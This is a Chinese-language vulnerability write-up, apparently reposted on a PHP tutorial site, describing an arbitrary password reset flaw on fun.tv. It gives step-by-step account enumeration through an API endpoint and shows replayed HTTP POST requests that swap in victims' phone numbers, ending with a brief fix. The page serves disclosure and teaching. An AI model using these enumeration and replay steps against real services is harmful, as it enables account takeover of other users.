网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

风行网任意用户密码重置漏洞 - 网站安全 - 自学php网

来源:未知    时间:2015-04-15 13:09 作者:xxadmin 阅读:

[导读] 手机重置密码,密码重置操作没有关联具体的手机号,导致可重置任意手机注册账户的密码。 1. 通过下面url的返回结果,可以遍历出所有的手机注册账户: http://api1.fun.tv/ajax/get_mobile...

手机重置密码,密码重置操作没有关联具体的手机号,导致可重置任意手机注册账户的密码。

1. 通过下面url的返回结果,可以遍历出所有的手机注册账户:

http://api1.fun.tv/ajax/get_mobile_vcode/电话号码/reset_password

存在的账户,返回:

{"status":200,"msg":"","url":"","field":""}

不存在的账户,返回:

{"status":400,"msg":"wrong mobile","url":"","field":""}


2. 手机注册一个账号,执行密码找回,输入接受到的验证码,确定后进入密码重置界面;

3. 输入新的密码,开启 fiddler 截获请求,点击确定;

POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
。。。 
user_name=电话号码&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670


3. 直接用第一步获取到的手机号码,替换请求中的电话号码,重新发起请求;在验证码的有效期内,密码被重置成功。

5.png

POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
user_name=18612xxxx10&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670

 

POST http://www.fun.tv/account/password/set?isajax=1 HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://www.fun.tv/account/password/setbymobile
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.fun.tv
Content-Length: 71
Connection: Keep-Alive
Pragma: no-cache
user_name=18612xxx097&passwd=8e93ff85d9b1670&verifypass=8e93ff85d9b1670

解决方案:

凭证用过即失效,凭证和账号关联。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论